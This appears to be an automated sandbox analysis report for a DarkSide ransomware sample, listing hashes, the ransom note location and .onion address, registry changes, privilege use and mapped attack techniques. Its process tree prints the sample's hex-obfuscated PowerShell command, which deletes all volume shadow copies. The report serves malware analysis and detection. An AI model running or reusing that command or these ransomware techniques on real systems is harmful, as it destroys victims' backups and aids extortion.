Analysis
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max time kernel
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max time network
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platform
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resource
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resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25/03/2025, 16:14
Static task
static1
Behavioral task
behavioral1
Sample
Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win10v2004-20250314-en
General
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Target
Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
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Size
59KB
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MD5
0ed51a595631e9b4d60896ab5573332f
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SHA1
7ae73b5e1622049380c9b615ce3b7f636665584b
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SHA256
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
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SHA512
9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
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SSDEEP
768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58
Malware Config
Extracted
C:\Users\Admin\README.166f76dd.TXT
darkside
http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Darkside family
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Renames multiple (187) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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pid Process 2800 powershell.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\166f76dd.BMP" Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Set value (str) \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\166f76dd.BMP" Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe -
Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Control Panel\Desktop\WallpaperStyle = "10" Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\166f76dd Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\166f76dd\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\166f76dd.ico" Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.166f76dd Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.166f76dd\ = "166f76dd" Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\166f76dd\DefaultIcon Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2800 powershell.exe 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeSecurityPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeTakeOwnershipPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeLoadDriverPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeSystemProfilePrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeSystemtimePrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeProfSingleProcessPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeIncBasePriorityPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeCreatePagefilePrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeBackupPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeRestorePrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeShutdownPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeDebugPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeSystemEnvironmentPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeRemoteShutdownPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeUndockPrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeManageVolumePrivilege 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: 33 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: 34 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: 35 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe Token: SeDebugPrivilege 2800 powershell.exe Token: SeBackupPrivilege 2408 vssvc.exe Token: SeRestorePrivilege 2408 vssvc.exe Token: SeAuditPrivilege 2408 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2380 wrote to memory of 2800 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe 31 PID 2380 wrote to memory of 2800 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe 31 PID 2380 wrote to memory of 2800 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe 31 PID 2380 wrote to memory of 2800 2380 Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe 31 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe"C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Darkside.m-243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe"1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2380 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2800
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2408
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5ec5f72ccf4ca528ed70b4d559de7126d
SHA14eac54c9dea36a09276cfa936c159acf0911388f
SHA2567dc10b8a97a7d17bbbf5af4a07a5105c41cd39b8df1f6b9a17282fc74b0e6526
SHA5121dd8497335e2c2d534bc8efae2676d9b57a5161a51c7004df2807d652a228ea606067e1df19b7490beabe846d7d1b51bcc5c53ac2e9eced45cca2c6e19c3b6b5
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Filesize
1KB
MD5d4e176b40c4ea17f4870c34fad926d6e
SHA12cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0
SHA2567ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c
SHA512feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471